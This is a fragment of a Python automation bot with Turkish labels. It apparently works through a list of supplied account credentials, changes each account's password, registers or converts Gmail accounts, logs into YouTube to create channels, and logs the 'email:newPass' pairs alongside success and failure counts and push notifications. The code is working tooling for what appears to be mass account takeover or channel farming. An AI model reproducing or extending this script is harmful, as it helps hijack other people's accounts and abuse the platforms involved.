1149 elif(flag==2):
1150 gmail = registerGmail(randName, randSname, 0)
1151
1152 goToEditSecond()
1153 text = getBody()
1154
1155 try:
1156 if(not "@gmail.com" in text):
1157 addToOzel(info)
1158 failC += 1
1159 endSession()
1160 continue
1161 except:
1162 pass
1163
1164 newPass = changeAccountInfo(password, newPass, text)
1165 elif(flag == 4):
1166 addToCop(info)
1167 failC += 1
1168 endSession()
1169 continue
1170 else:
1171 addToTekrar(info)
1172 endSession()
1173 continue
1174
1175 else:
1176 url = getUrl()
1177 if("mail/" in url
1178 or "inbox" in url):
1179 gmail = manuel(password, newPass)
1180 g = gmail.split(":")
1181 gmail = g[0]
1182 newPass = g[1]
1183 else:
1184 print("-----RAPOR EDILMELI!!!!")
1185 addToOzel(info)
1186 endSession()
1187 continue
1188
1189 time.sleep(5)
1190 pyautogui.hotkey('alt', 'f4')
1191 try:
1192 driver = setYoutubeDriver()
1193 loginYoutube(str(gmail), newPass)
1194 text = getBody()
1195 if not "The email and password" in text:
1196 createYoutube(str(gmail), newPass)
1197 info = str(gmail) + ":" + newPass
1198 addToGmail(info)
1199 sucC += 1
1200 endSession()
1201 continue
1202 except:
1203 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1204 try:
1205 driver.close()
1206 except:
1207 pass
1208 try:
1209 info = str(gmail) + ":" + newPass
1210 addToGmail(info)
1211 except:
1212 pass
1213 sucC += 1
1214 endSession()
1215
1216 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1217except Exception as e:
1218 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1219